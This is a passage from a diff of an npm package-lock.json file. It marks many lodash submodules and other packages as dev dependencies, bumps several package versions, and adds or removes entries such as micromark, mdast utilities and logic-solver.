- "integrity": "sha1-uo31+4QesKPoBEIysOJjqNxqKKI="
+ "integrity": "sha1-uo31+4QesKPoBEIysOJjqNxqKKI=",
+ "dev": true
+ },
+ "lodash.camelcase": {
+ "version": "4.3.0",
+ "resolved": "https://registry.npmjs.org/lodash.camelcase/-/lodash.camelcase-4.3.0.tgz",
+ "integrity": "sha1-soqmKIorn8ZRA1x3EfZathkDMaY=",
+ "dev": true
+ },
+ "lodash.chunk": {
+ "version": "4.2.0",
+ "resolved": "https://registry.npmjs.org/lodash.chunk/-/lodash.chunk-4.2.0.tgz",
+ "integrity": "sha1-ZuXOH3btJ7QwPYxlEujRIW6BBrw=",
+ "dev": true
},
"lodash.clone": {
"version": "4.5.0",
"resolved": "https://registry.npmjs.org/lodash.clone/-/lodash.clone-4.5.0.tgz",
- "integrity": "sha1-GVhwRQ9aExkkeN9Lw9I9LeoZB7Y="
+ "integrity": "sha1-GVhwRQ9aExkkeN9Lw9I9LeoZB7Y=",
+ "dev": true
},
"lodash.clonedeep": {
"version": "4.5.0",
"resolved": "https://registry.npmjs.org/lodash.clonedeep/-/lodash.clonedeep-4.5.0.tgz",
- "integrity": "sha1-4j8/nE+Pvd6HJSnBBxhXoIblzO8="
+ "integrity": "sha1-4j8/nE+Pvd6HJSnBBxhXoIblzO8=",
+ "dev": true
},
"lodash.constant": {
"version": "3.0.0",
"resolved": "https://registry.npmjs.org/lodash.constant/-/lodash.constant-3.0.0.tgz",
- "integrity": "sha1-v+Bczn5RWzEokl1jYhOEIL1iSRA="
+ "integrity": "sha1-v+Bczn5RWzEokl1jYhOEIL1iSRA=",
+ "dev": true
},
"lodash.curry": {
"version": "4.1.1",
"resolved": "https://registry.npmjs.org/lodash.curry/-/lodash.curry-4.1.1.tgz",
"integrity": "sha1-JI42By7ekGUB11lmIAqG2riyMXA="
},
+ "lodash.debounce": {
+ "version": "4.0.8",
+ "resolved": "https://registry.npmjs.org/lodash.debounce/-/lodash.debounce-4.0.8.tgz",
+ "integrity": "sha1-gteb/zCmfEAF/9XiUVMArZyk168=",
+ "dev": true
+ },
+ "lodash.defaults": {
+ "version": "4.2.0",
+ "resolved": "https://registry.npmjs.org/lodash.defaults/-/lodash.defaults-4.2.0.tgz",
+ "integrity": "sha1-0JF4cW/+pN3p5ft7N/bwgCJ0WAw=",
+ "dev": true
+ },
+ "lodash.endswith": {
+ "version": "4.2.1",
+ "resolved": "https://registry.npmjs.org/lodash.endswith/-/lodash.endswith-4.2.1.tgz",
+ "integrity": "sha1-/tWawXOO0+I27dcGTsRWRIs3vAk=",
+ "dev": true
+ },
"lodash.filter": {
"version": "4.6.0",
"resolved": "https://registry.npmjs.org/lodash.filter/-/lodash.filter-4.6.0.tgz",
- "integrity": "sha1-ZosdSYFgOuHMWm+nYBQ+SAtMSs4="
+ "integrity": "sha1-ZosdSYFgOuHMWm+nYBQ+SAtMSs4=",
+ "dev": true
+ },
+ "lodash.find": {
+ "version": "4.6.0",
+ "resolved": "https://registry.npmjs.org/lodash.find/-/lodash.find-4.6.0.tgz",
+ "integrity": "sha1-ywcE1Hq3F4n/oN6Ll92Sb7iLE7E=",
+ "dev": true
+ },
+ "lodash.findindex": {
+ "version": "4.6.0",
+ "resolved": "https://registry.npmjs.org/lodash.findindex/-/lodash.findindex-4.6.0.tgz",
+ "integrity": "sha1-oyRd7mH7m24GJLU1ElYku2nBEQY=",
+ "dev": true
+ },
+ "lodash.findkey": {
+ "version": "4.6.0",
+ "resolved": "https://registry.npmjs.org/lodash.findkey/-/lodash.findkey-4.6.0.tgz",
+ "integrity": "sha1-gwWOkDtRy7dZ0JzPVG3qPqOcRxg=",
+ "dev": true
},
"lodash.flatmap": {
"version": "4.5.0",
"resolved": "https://registry.npmjs.org/lodash.flatmap/-/lodash.flatmap-4.5.0.tgz",
- "integrity": "sha1-74y/QI9uSCaGYzRTBcaswLd4cC4="
+ "integrity": "sha1-74y/QI9uSCaGYzRTBcaswLd4cC4=",
+ "dev": true
},
"lodash.flatten": {
"version": "4.4.0",
"resolved": "https://registry.npmjs.org/lodash.flatten/-/lodash.flatten-4.4.0.tgz",
- "integrity": "sha1-8xwiIlqWMtK7+OSt2+8kCqdlph8="
+ "integrity": "sha1-8xwiIlqWMtK7+OSt2+8kCqdlph8=",
+ "dev": true
+ },
+ "lodash.flattendeep": {
+ "version": "4.4.0",
+ "resolved": "https://registry.npmjs.org/lodash.flattendeep/-/lodash.flattendeep-4.4.0.tgz",
+ "integrity": "sha1-+wMJF/hqMTTlvJvsDWngAT3f7bI=",
+ "dev": true
},
"lodash.flow": {
"version": "3.5.0",
@@ -8046,52 +11167,121 @@
"lodash.foreach": {
"version": "4.5.0",
"resolved": "https://registry.npmjs.org/lodash.foreach/-/lodash.foreach-4.5.0.tgz",
- "integrity": "sha1-Gmo16s5AEoDH8G3d7DUWWrJ+PlM="
+ "integrity": "sha1-Gmo16s5AEoDH8G3d7DUWWrJ+PlM=",
+ "dev": true
},
"lodash.get": {
"version": "4.4.2",
"resolved": "https://registry.npmjs.org/lodash.get/-/lodash.get-4.4.2.tgz",
"integrity": "sha1-LRd/ZS+jHpObRDjVNBSZ36OCXpk="
},
+ "lodash.groupby": {
+ "version": "4.6.0",
+ "resolved": "https://registry.npmjs.org/lodash.groupby/-/lodash.groupby-4.6.0.tgz",
+ "integrity": "sha1-Cwih3PaDl8OXhVwyOXg4Mt90A9E=",
+ "dev": true
+ },
"lodash.has": {
"version": "4.5.2",
"resolved": "https://registry.npmjs.org/lodash.has/-/lodash.has-4.5.2.tgz",
- "integrity": "sha1-0Z9NwQlQWMzL4rDN9O4P5Ko3yGI="
+ "integrity": "sha1-0Z9NwQlQWMzL4rDN9O4P5Ko3yGI=",
+ "dev": true
},
- "lodash.isarray": {
- "version": "4.0.0",
- "resolved": "https://registry.npmjs.org/lodash.isarray/-/lodash.isarray-4.0.0.tgz",
- "integrity": "sha1-KspJayjEym1yZxUxNZDALm6jRAM="
+ "lodash.invert": {
+ "version": "4.3.0",
+ "resolved": "https://registry.npmjs.org/lodash.invert/-/lodash.invert-4.3.0.tgz",
+ "integrity": "sha1-j/4g1LYW9WvqjxqgxuvYDc90Ku4=",
+ "dev": true
+ },
+ "lodash.isboolean": {
+ "version": "3.0.3",
+ "resolved": "https://registry.npmjs.org/lodash.isboolean/-/lodash.isboolean-3.0.3.tgz",
+ "integrity": "sha1-bC4XHbKiV82WgC/UOwGyDV9YcPY=",
+ "dev": true
},
"lodash.isempty": {
"version": "4.4.0",
"resolved": "https://registry.npmjs.org/lodash.isempty/-/lodash.isempty-4.4.0.tgz",
- "integrity": "sha1-b4bL7di+TsmHvpqvM8loTbGzHn4="
+ "integrity": "sha1-b4bL7di+TsmHvpqvM8loTbGzHn4=",
+ "dev": true
},
"lodash.isequal": {
"version": "4.5.0",
"resolved": "https://registry.npmjs.org/lodash.isequal/-/lodash.isequal-4.5.0.tgz",
- "integrity": "sha1-QVxEePK8wwEgwizhDtMib30+GOA="
+ "integrity": "sha1-QVxEePK8wwEgwizhDtMib30+GOA=",
+ "dev": true
},
"lodash.isfunction": {
"version": "3.0.9",
"resolved": "https://registry.npmjs.org/lodash.isfunction/-/lodash.isfunction-3.0.9.tgz",
- "integrity": "sha512-AirXNj15uRIMMPihnkInB4i3NHeb4iBtNg9WRWuK2o31S+ePwwNmDPaTL3o7dTJ+VXNZim7rFs4rxN4YU1oUJw=="
+ "integrity": "sha512-AirXNj15uRIMMPihnkInB4i3NHeb4iBtNg9WRWuK2o31S+ePwwNmDPaTL3o7dTJ+VXNZim7rFs4rxN4YU1oUJw==",
+ "dev": true
+ },
+ "lodash.isnumber": {
+ "version": "3.0.3",
+ "resolved": "https://registry.npmjs.org/lodash.isnumber/-/lodash.isnumber-3.0.3.tgz",
+ "integrity": "sha1-POdoEMWSjQM1IwGsKHMX8RwLH/w=",
+ "dev": true
+ },
+ "lodash.isobject": {
+ "version": "3.0.2",
+ "resolved": "https://registry.npmjs.org/lodash.isobject/-/lodash.isobject-3.0.2.tgz",
+ "integrity": "sha1-PI+41bW/S/kK4G4U8qUwpO2TXh0=",
+ "dev": true
+ },
+ "lodash.isplainobject": {
+ "version": "4.0.6",
+ "resolved": "https://registry.npmjs.org/lodash.isplainobject/-/lodash.isplainobject-4.0.6.tgz",
+ "integrity": "sha1-fFJqUtibRcRcxpC4gWO+BJf1UMs=",
+ "dev": true
+ },
+ "lodash.isstring": {
+ "version": "4.0.1",
+ "resolved": "https://registry.npmjs.org/lodash.isstring/-/lodash.isstring-4.0.1.tgz",
+ "integrity": "sha1-1SfftUVuynzJu5XV2ur4i6VKVFE=",
+ "dev": true
},
"lodash.isundefined": {
"version": "3.0.1",
"resolved": "https://registry.npmjs.org/lodash.isundefined/-/lodash.isundefined-3.0.1.tgz",
- "integrity": "sha1-I+89lTVWUgOmbO/VuDD4SJEa+0g="
+ "integrity": "sha1-I+89lTVWUgOmbO/VuDD4SJEa+0g=",
+ "dev": true
},
"lodash.keys": {
"version": "4.2.0",
"resolved": "https://registry.npmjs.org/lodash.keys/-/lodash.keys-4.2.0.tgz",
- "integrity": "sha1-oIYCrBLk+4P5H8H7ejYKTZujUgU="
+ "integrity": "sha1-oIYCrBLk+4P5H8H7ejYKTZujUgU=",
+ "dev": true
+ },
+ "lodash.last": {
+ "version": "3.0.0",
+ "resolved": "https://registry.npmjs.org/lodash.last/-/lodash.last-3.0.0.tgz",
+ "integrity": "sha1-JC9mMRLdTG5jcoxgo8kJ0b2tvUw=",
+ "dev": true
},
"lodash.map": {
"version": "4.6.0",
"resolved": "https://registry.npmjs.org/lodash.map/-/lodash.map-4.6.0.tgz",
- "integrity": "sha1-dx7Hg540c9nEzeKLGTlMNWL09tM="
+ "integrity": "sha1-dx7Hg540c9nEzeKLGTlMNWL09tM=",
+ "dev": true
+ },
+ "lodash.merge": {
+ "version": "4.6.2",
+ "resolved": "https://registry.npmjs.org/lodash.merge/-/lodash.merge-4.6.2.tgz",
+ "integrity": "sha512-0KpjqXRVvrYyCsX1swR/XTK0va6VQkQM6MNo7PqW77ByjAhoARA8EfrP1N4+KlKj8YS0ZUCtRT/YUuhyYDujIQ==",
+ "dev": true
+ },
+ "lodash.omit": {
+ "version": "4.5.0",
+ "resolved": "https://registry.npmjs.org/lodash.omit/-/lodash.omit-4.5.0.tgz",
+ "integrity": "sha1-brGa5aHuHdnfC5aeZs4Lf6MLXmA=",
+ "dev": true
+ },
+ "lodash.orderby": {
+ "version": "4.6.0",
+ "resolved": "https://registry.npmjs.org/lodash.orderby/-/lodash.orderby-4.6.0.tgz",
+ "integrity": "sha1-5pfwTOXXhSL1TZM4syuBozk+TrM=",
+ "dev": true
},
"lodash.pick": {
"version": "4.4.0",
@@ -8101,22 +11291,38 @@
"lodash.reduce": {
"version": "4.6.0",
"resolved": "https://registry.npmjs.org/lodash.reduce/-/lodash.reduce-4.6.0.tgz",
- "integrity": "sha1-8atrg5KZrUj3hKu/R2WW8DuRTTs="
+ "integrity": "sha1-8atrg5KZrUj3hKu/R2WW8DuRTTs=",
+ "dev": true
},
"lodash.set": {
"version": "4.3.2",
"resolved": "https://registry.npmjs.org/lodash.set/-/lodash.set-4.3.2.tgz",
- "integrity": "sha1-2HV7HagH3eJIFrDWqEvqGnYjCyM="
+ "integrity": "sha1-2HV7HagH3eJIFrDWqEvqGnYjCyM=",
+ "dev": true
},
"lodash.size": {
"version": "4.2.0",
"resolved": "https://registry.npmjs.org/lodash.size/-/lodash.size-4.2.0.tgz",
- "integrity": "sha1-cf517T6r2yvLc6GwtPUcOS7ie4Y="
+ "integrity": "sha1-cf517T6r2yvLc6GwtPUcOS7ie4Y=",
+ "dev": true
+ },
+ "lodash.sortby": {
+ "version": "4.7.0",
+ "resolved": "https://registry.npmjs.org/lodash.sortby/-/lodash.sortby-4.7.0.tgz",
+ "integrity": "sha1-7dFMgk4sycHgsKG0K7UhBRakJDg=",
+ "dev": true
+ },
+ "lodash.sum": {
+ "version": "4.0.2",
+ "resolved": "https://registry.npmjs.org/lodash.sum/-/lodash.sum-4.0.2.tgz",
+ "integrity": "sha1-rZDjl5ZdgD1PH/eqWy0Bl/O0Y3s=",
+ "dev": true
},
"lodash.topairs": {
"version": "4.3.0",
"resolved": "https://registry.npmjs.org/lodash.topairs/-/lodash.topairs-4.3.0.tgz",
- "integrity": "sha1-O23qo31g+xFnE8RsXxfqGQ7EjWQ="
+ "integrity": "sha1-O23qo31g+xFnE8RsXxfqGQ7EjWQ=",
+ "dev": true
},
"lodash.topath": {
"version": "4.5.2",
@@ -8126,33 +11332,98 @@
"lodash.transform": {
"version": "4.6.0",
"resolved": "https://registry.npmjs.org/lodash.transform/-/lodash.transform-4.6.0.tgz",
- "integrity": "sha1-EjBkIvYzJK7YSD0/ODMrX2cFR6A="
+ "integrity": "sha1-EjBkIvYzJK7YSD0/ODMrX2cFR6A=",
+ "dev": true
+ },
+ "lodash.truncate": {
+ "version": "4.4.2",
+ "resolved": "https://registry.npmjs.org/lodash.truncate/-/lodash.truncate-4.4.2.tgz",
+ "integrity": "sha1-WjUNoLERO4N+z//VgSy+WNbq4ZM=",
+ "dev": true
},
"lodash.union": {
"version": "4.6.0",
"resolved": "https://registry.npmjs.org/lodash.union/-/lodash.union-4.6.0.tgz",
- "integrity": "sha1-SLtQiECfFvGCFmZkHETdGqrjzYg="
+ "integrity": "sha1-SLtQiECfFvGCFmZkHETdGqrjzYg=",
+ "dev": true
+ },
+ "lodash.uniq": {
+ "version": "4.5.0",
+ "resolved": "https://registry.npmjs.org/lodash.uniq/-/lodash.uniq-4.5.0.tgz",
+ "integrity": "sha1-0CJTc662Uq3BvILklFM5qEJ1R3M=",
+ "dev": true
+ },
+ "lodash.upperfirst": {
+ "version": "4.3.1",
+ "resolved": "https://registry.npmjs.org/lodash.upperfirst/-/lodash.upperfirst-4.3.1.tgz",
+ "integrity": "sha1-E2Xt9DFIBIHvDRxolXpe2Z1J984=",
+ "dev": true
},
"lodash.values": {
"version": "4.3.0",
"resolved": "https://registry.npmjs.org/lodash.values/-/lodash.values-4.3.0.tgz",
- "integrity": "sha1-o6bCsOvsxcLLocF+bmIP6BtT00c="
+ "integrity": "sha1-o6bCsOvsxcLLocF+bmIP6BtT00c=",
+ "dev": true
},
"log-symbols": {
- "version": "3.0.0",
- "resolved": "https://registry.npmjs.org/log-symbols/-/log-symbols-3.0.0.tgz",
- "integrity": "sha512-dSkNGuI7iG3mfvDzUuYZyvk5dD9ocYCYzNU6CYDE6+Xqd+gwme6Z00NS3dUh8mq/73HaEtT7m6W+yUPtU6BZnQ==",
+ "version": "4.1.0",
+ "resolved": "https://registry.npmjs.org/log-symbols/-/log-symbols-4.1.0.tgz",
+ "integrity": "sha512-8XPvpAA8uyhfteu8pIvQxpJZ7SYYdpUivZpGy6sFsBuKRY/7rQGavedeB8aK+Zkyq6upMFVL/9AW6vOYzfRyLg==",
"dev": true,
"requires": {
- "chalk": "^2.4.2"
- }
- },
- "logic-solver": {
- "version": "2.0.1",
- "resolved": "https://registry.npmjs.org/logic-solver/-/logic-solver-2.0.1.tgz",
- "integrity": "sha1-6fpHAC612M2nYW1BY5uXVS62dL4=",
- "requires": {
- "underscore": "^1.7.0"
+ "chalk": "^4.1.0",
+ "is-unicode-supported": "^0.1.0"
+ },
+ "dependencies": {
+ "ansi-styles": {
+ "version": "4.3.0",
+ "resolved": "https://registry.npmjs.org/ansi-styles/-/ansi-styles-4.3.0.tgz",
+ "integrity": "sha512-zbB9rCJAT1rbjiVDb2hqKFHNYLxgtk8NURxZ3IZwD3F6NtxbXZQCnnSi1Lkx+IDohdPlFp222wVALIheZJQSEg==",
+ "dev": true,
+ "requires": {
+ "color-convert": "^2.0.1"
+ }
+ },
+ "chalk": {
+ "version": "4.1.0",
+ "resolved": "https://registry.npmjs.org/chalk/-/chalk-4.1.0.tgz",
+ "integrity": "sha512-qwx12AxXe2Q5xQ43Ac//I6v5aXTipYrSESdOgzrN+9XjgEpyjpKuvSGaN4qE93f7TQTlerQQ8S+EQ0EyDoVL1A==",
+ "dev": true,
+ "requires": {
+ "ansi-styles": "^4.1.0",
+ "supports-color": "^7.1.0"
+ }
+ },
+ "color-convert": {
+ "version": "2.0.1",
+ "resolved": "https://registry.npmjs.org/color-convert/-/color-convert-2.0.1.tgz",
+ "integrity": "sha512-RRECPsj7iu/xb5oKYcsFHSppFNnsj/52OVTRKb4zP5onXwVF3zVmmToNcOfGC+CRDpfK/U584fMg38ZHCaElKQ==",
+ "dev": true,
+ "requires": {
+ "color-name": "~1.1.4"
+ }
+ },
+ "color-name": {
+ "version": "1.1.4",
+ "resolved": "https://registry.npmjs.org/color-name/-/color-name-1.1.4.tgz",
+ "integrity": "sha512-dOy+3AuW3a2wNbZHIuMZpTcgjGuLU/uBL/ubcZF9OXbDo8ff4O8yVp5Bf0efS8uEoYo5q4Fx7dY9OgQGXgAsQA==",
+ "dev": true
+ },
+ "has-flag": {
+ "version": "4.0.0",
+ "resolved": "https://registry.npmjs.org/has-flag/-/has-flag-4.0.0.tgz",
+ "integrity": "sha512-EykJT/Q1KjTWctppgIAgfSO0tKVuZUjhgMr17kqTumMl6Afv3EISleU7qZUzoXDFTAHTDC4NOoG/ZxU3EvlMPQ==",
+ "dev": true
+ },
+ "supports-color": {
+ "version": "7.2.0",
+ "resolved": "https://registry.npmjs.org/supports-color/-/supports-color-7.2.0.tgz",
+ "integrity": "sha512-qpCAvRl9stuOHveKsn7HncJRvv501qIacKzQlO/+Lwxc9+0q2wLyv4Dfvt80/DPn2pqOBsJdDiogXGR9+OvwRw==",
+ "dev": true,
+ "requires": {
+ "has-flag": "^4.0.0"
+ }
+ }
}
},
"loglevel": {
@@ -8194,12 +11465,14 @@
"lowercase-keys": {
"version": "2.0.0",
"resolved": "https://registry.npmjs.org/lowercase-keys/-/lowercase-keys-2.0.0.tgz",
- "integrity": "sha512-tqNXrS78oMOE73NMxK4EMLQsQowWf8jKooH9g7xPavRT706R6bkQJ6DY2Te7QukaZsulxa30wQ7bk0pm4XiHmA=="
+ "integrity": "sha512-tqNXrS78oMOE73NMxK4EMLQsQowWf8jKooH9g7xPavRT706R6bkQJ6DY2Te7QukaZsulxa30wQ7bk0pm4XiHmA==",
+ "dev": true
},
"lru-cache": {
"version": "4.1.5",
"resolved": "https://registry.npmjs.org/lru-cache/-/lru-cache-4.1.5.tgz",
"integrity": "sha512-sWZlbEP2OsHNkXrMl5GYk/jKk70MBng6UU4YI/qGDYbgf6YbP4EvmqISbXCoJiRKs+1bSpFHVgQxvJ17F2li5g==",
+ "dev": true,
"requires": {
"pseudomap": "^1.0.2",
"yallist": "^2.1.2"
@@ -8208,7 +11481,8 @@
"macos-release": {
"version": "2.4.1",
"resolved": "https://registry.npmjs.org/macos-release/-/macos-release-2.4.1.tgz",
- "integrity": "sha512-H/QHeBIN1fIGJX517pvK8IEK53yQOW7YcEI55oYtgjDdoCQQz7eJS94qt5kNrscReEyuD/JcdFCm2XBEcGOITg=="
+ "integrity": "sha512-H/QHeBIN1fIGJX517pvK8IEK53yQOW7YcEI55oYtgjDdoCQQz7eJS94qt5kNrscReEyuD/JcdFCm2XBEcGOITg==",
+ "dev": true
},
"make-dir": {
"version": "2.1.0",
@@ -8228,15 +11502,6 @@
}
}
},
- "map-age-cleaner": {
- "version": "0.1.3",
- "resolved": "https://registry.npmjs.org/map-age-cleaner/-/map-age-cleaner-0.1.3.tgz",
- "integrity": "sha512-bJzx6nMoP6PDLPBFmg7+xRKeFZvFboMrGlxmNj9ClvX53KrmvM5bXFXEWjbz4cz1AFn+jWJ9z/DJSz7hrs0w3w==",
- "dev": true,
- "requires": {
- "p-defer": "^1.0.0"
- }
- },
"map-cache": {
"version": "0.2.2",
"resolved": "https://registry.npmjs.org/map-cache/-/map-cache-0.2.2.tgz",
@@ -8258,26 +11523,28 @@
"object-visit": "^1.0.0"
}
},
- "markdown-escapes": {
- "version": "1.0.4",
- "resolved": "https://registry.npmjs.org/markdown-escapes/-/markdown-escapes-1.0.4.tgz",
- "integrity": "sha512-8z4efJYk43E0upd0NbVXwgSTQs6cT3T06etieCMEg7dRbzCbxUCK/GHlX8mhHRDcp+OLlHkPKsvqQTCvsRl2cg==",
- "dev": true
- },
- "markdown-table": {
- "version": "2.0.0",
- "resolved": "https://registry.npmjs.org/markdown-table/-/markdown-table-2.0.0.tgz",
- "integrity": "sha512-Ezda85ToJUBhM6WGaG6veasyym+Tbs3cMAw/ZhOPqXiYsr0jgocBV3j3nx+4lk47plLlIqjwuTm/ywVI+zjJ/A==",
- "dev": true,
- "requires": {
- "repeat-string": "^1.0.0"
- }
- },
"marked": {
"version": "2.0.0",
"resolved": "https://registry.npmjs.org/marked/-/marked-2.0.0.tgz",
"integrity": "sha512-NqRSh2+LlN2NInpqTQnS614Y/3NkVMFFU6sJlRFEpxJ/LHuK/qJECH7/fXZjk4VZstPW/Pevjil/VtSONsLc7Q=="
},
+ "matcher": {
+ "version": "3.0.0",
+ "resolved": "https://registry.npmjs.org/matcher/-/matcher-3.0.0.tgz",
+ "integrity": "sha512-OkeDaAZ/bQCxeFAozM55PKcKU0yJMPGifLwV4Qgjitu+5MoAfSQN4lsLJeXZ1b8w0x+/Emda6MZgXS1jvsapng==",
+ "dev": true,
+ "requires": {
+ "escape-string-regexp": "^4.0.0"
+ },
+ "dependencies": {
+ "escape-string-regexp": {
+ "version": "4.0.0",
+ "resolved": "https://registry.npmjs.org/escape-string-regexp/-/escape-string-regexp-4.0.0.tgz",
+ "integrity": "sha512-TtpcNJ3XAzx3Gq8sWRzJaVajRs0uVxA2YAkdb1jm2YkPz4G6egUFAyA3n5vtEIZefPk5Wa4UXbKuS5fKkJWdgA==",
+ "dev": true
+ }
+ }
+ },
"mathml-tag-names": {
"version": "2.1.3",
"resolved": "https://registry.npmjs.org/mathml-tag-names/-/mathml-tag-names-2.1.3.tgz",
@@ -8295,32 +11562,45 @@
"safe-buffer": "^5.1.2"
}
},
- "mdast-util-compact": {
- "version": "2.0.1",
- "resolved": "https://registry.npmjs.org/mdast-util-compact/-/mdast-util-compact-2.0.1.tgz",
- "integrity": "sha512-7GlnT24gEwDrdAwEHrU4Vv5lLWrEer4KOkAiKT9nYstsTad7Oc1TwqT2zIMKRdZF7cTuaf+GA1E4Kv7jJh8mPA==",
+ "mdast-util-from-markdown": {
+ "version": "0.8.5",
+ "resolved": "https://registry.npmjs.org/mdast-util-from-markdown/-/mdast-util-from-markdown-0.8.5.tgz",
+ "integrity": "sha512-2hkTXtYYnr+NubD/g6KGBS/0mFmBcifAsI0yIWRiRo0PjVs6SSOSOdtzbp6kSGnShDN6G5aWZpKQ2lWRy27mWQ==",
"dev": true,
"requires": {
- "unist-util-visit": "^2.0.0"
+ "@types/mdast": "^3.0.0",
+ "mdast-util-to-string": "^2.0.0",
+ "micromark": "~2.11.0",
+ "parse-entities": "^2.0.0",
+ "unist-util-stringify-position": "^2.0.0"
}
},
+ "mdast-util-to-markdown": {
+ "version": "0.6.5",
+ "resolved": "https://registry.npmjs.org/mdast-util-to-markdown/-/mdast-util-to-markdown-0.6.5.tgz",
+ "integrity": "sha512-XeV9sDE7ZlOQvs45C9UKMtfTcctcaj/pGwH8YLbMHoMOXNNCn2LsqVQOqrF1+/NU8lKDAqozme9SCXWyo9oAcQ==",
+ "dev": true,
+ "requires": {
+ "@types/unist": "^2.0.0",
+ "longest-streak": "^2.0.0",
+ "mdast-util-to-string": "^2.0.0",
+ "parse-entities": "^2.0.0",
+ "repeat-string": "^1.0.0",
+ "zwitch": "^1.0.0"
+ }
+ },
+ "mdast-util-to-string": {
+ "version": "2.0.0",
+ "resolved": "https://registry.npmjs.org/mdast-util-to-string/-/mdast-util-to-string-2.0.0.tgz",
+ "integrity": "sha512-AW4DRS3QbBayY/jJmD8437V1Gombjf8RSOUCMFBuo5iHi58AGEgVCKQ+ezHkZZDpAQS75hcBMpLqjpJTjtUL7w==",
+ "dev": true
+ },
"media-typer": {
"version": "0.3.0",
"resolved": "https://registry.npmjs.org/media-typer/-/media-typer-0.3.0.tgz",
"integrity": "sha1-hxDXrwqmJvj/+hzgAWhUUmMlV0g=",
"dev": true
},
- "mem": {
- "version": "4.3.0",
- "resolved": "https://registry.npmjs.org/mem/-/mem-4.3.0.tgz",
- "integrity": "sha512-qX2bG48pTqYRVmDB37rn/6PT7LcR8T7oAX3bf99u1Tt1nzxYfxkgqDwUwolPlXweM0XzBOBFzSx4kfp7KP1s/w==",
- "dev": true,
- "requires": {
- "map-age-cleaner": "^0.1.1",
- "mimic-fn": "^2.0.0",
- "p-is-promise": "^2.0.0"
- }
- },
"memory-fs": {
"version": "0.4.1",
"resolved": "https://registry.npmjs.org/memory-fs/-/memory-fs-0.4.1.tgz",
@@ -8356,9 +11636,10 @@
"dev": true
},
"merge2": {
- "version": "1.3.0",
- "resolved": "https://registry.npmjs.org/merge2/-/merge2-1.3.0.tgz",
- "integrity": "sha512-2j4DAdlBOkiSZIsaXk4mTE3sRS02yBHAtfy127xRV3bQUFqXkjHCHLW6Scv7DwNRbIWNHH8zpnz9zMaKXIdvYw=="
+ "version": "1.4.1",
+ "resolved": "https://registry.npmjs.org/merge2/-/merge2-1.4.1.tgz",
+ "integrity": "sha512-8q7VEgMJW4J8tcfVPy8g09NcQwZdbwFEqhe/WZkoIzjn/3TGDwtOCYtXGxA3O8tPzpczCCDgv+P2P5y00ZJOOg==",
+ "dev": true
},
"methods": {
"version": "1.1.2",
@@ -8366,6 +11647,33 @@
"integrity": "sha1-VSmk1nZUE07cxSZmVoNbD4Ua/O4=",
"dev": true
},
+ "micromark": {
+ "version": "2.11.4",
+ "resolved": "https://registry.npmjs.org/micromark/-/micromark-2.11.4.tgz",
+ "integrity": "sha512-+WoovN/ppKolQOFIAajxi7Lu9kInbPxFuTBVEavFcL8eAfVstoc5MocPmqBeAdBOJV00uaVjegzH4+MA0DN/uA==",
+ "dev": true,
+ "requires": {
+ "debug": "^4.0.0",
+ "parse-entities": "^2.0.0"
+ },
+ "dependencies": {
+ "debug": {
+ "version": "4.3.1",
+ "resolved": "https://registry.npmjs.org/debug/-/debug-4.3.1.tgz",
+ "integrity": "sha512-doEwdvm4PCeK4K3RQN2ZC2BYUBaxwLARCqZmMjtF8a51J2Rb0xpVloFRnCODwqjpwnAoao4pelN8l3RJdv3gRQ==",
+ "dev": true,
+ "requires": {
+ "ms": "2.1.2"
+ }
+ },
+ "ms": {
+ "version": "2.1.2",
+ "resolved": "https://registry.npmjs.org/ms/-/ms-2.1.2.tgz",
+ "integrity": "sha512-sGkPx+VjMtmA6MX27oA4FBFELFCZZ4S4XqeGOXCv68tT+jb3vk/RyaKWP0PTKyWtmLSM0b+adUTEvbs1PEaH2w==",
+ "dev": true
+ }
+ }
+ },
"micromatch": {
"version": "3.1.10",
"resolved": "https://registry.npmjs.org/micromatch/-/micromatch-3.1.10.tgz",
@@ -8398,9 +11706,9 @@
},
"dependencies": {
"bn.js": {
- "version": "4.11.8",
- "resolved": "https://registry.npmjs.org/bn.js/-/bn.js-4.11.8.tgz",
- "integrity": "sha512-ItfYfPLkWHUjckQCk8xC+LwxgK8NYcXywGigJgSwOP8Y2iyWT4f2vsZnoOXTTbo+o5yXmIUJ4gn5538SO5S3gA==",
+ "version": "4.12.0",
+ "resolved": "https://registry.npmjs.org/bn.js/-/bn.js-4.12.0.tgz",
+ "integrity": "sha512-c98Bf3tPniI+scsdk237ku1Dc3ujXQTSgyiPUDEOe7tRkhrqridvh8klBv0HCEso1OLOYcHuCv/cS6DNxKH+ZA==",
"dev": true
}
}
@@ -8435,7 +11743,8 @@
"mimic-response": {
"version": "1.0.1",
"resolved": "https://registry.npmjs.org/mimic-response/-/mimic-response-1.0.1.tgz",
- "integrity": "sha512-j5EctnkH7amfV/q5Hgmoal1g2QHFJRraOtmx0JpIqkxhBhI/lJSl1nMpQ45hVarwNETOoWEimndZ4QK0RHxuxQ=="
+ "integrity": "sha512-j5EctnkH7amfV/q5Hgmoal1g2QHFJRraOtmx0JpIqkxhBhI/lJSl1nMpQ45hVarwNETOoWEimndZ4QK0RHxuxQ==",
+ "dev": true
},
"min-document": {
"version": "2.19.0",
@@ -8446,11 +11755,30 @@
}
},
"min-indent": {
- "version": "1.0.0",
- "resolved": "https://registry.npmjs.org/min-indent/-/min-indent-1.0.0.tgz",
- "integrity": "sha1-z8RcN+nsDY8KDsPdTvf3w6vjklY=",
+ "version": "1.0.1",
+ "resolved": "https://registry.npmjs.org/min-indent/-/min-indent-1.0.1.tgz",
+ "integrity": "sha512-I9jwMn07Sy/IwOj3zVkVik2JTvgpaykDZEigL6Rx6N9LbMywwUSMtxET+7lVoDLLd3O3IXwJwvuuns8UB/HeAg==",
"dev": true
},
+ "mini-create-react-context": {
+ "version": "0.4.1",
+ "resolved": "https://registry.npmjs.org/mini-create-react-context/-/mini-create-react-context-0.4.1.tgz",
+ "integrity": "sha512-YWCYEmd5CQeHGSAKrYvXgmzzkrvssZcuuQDDeqkT+PziKGMgE+0MCCtcKbROzocGBG1meBLl2FotlRwf4gAzbQ==",
+ "requires": {
+ "@babel/runtime": "^7.12.1",
+ "tiny-warning": "^1.0.3"
+ },
+ "dependencies": {
+ "@babel/runtime": {
+ "version": "7.13.10",
+ "resolved": "https://registry.npmjs.org/@babel/runtime/-/runtime-7.13.10.tgz",
+ "integrity": "sha512-4QPkjJq6Ns3V/RgpEahRk+AGfL0eO6RHHtTWoNNr5mO49G6B5+X6d6THgWEAvTrznU5xYpbAlVKRYcsCgh/Akw==",
+ "requires": {
+ "regenerator-runtime": "^0.13.4"
+ }
+ }
+ }
+ },
"minimalistic-assert": {
"version": "1.0.1",
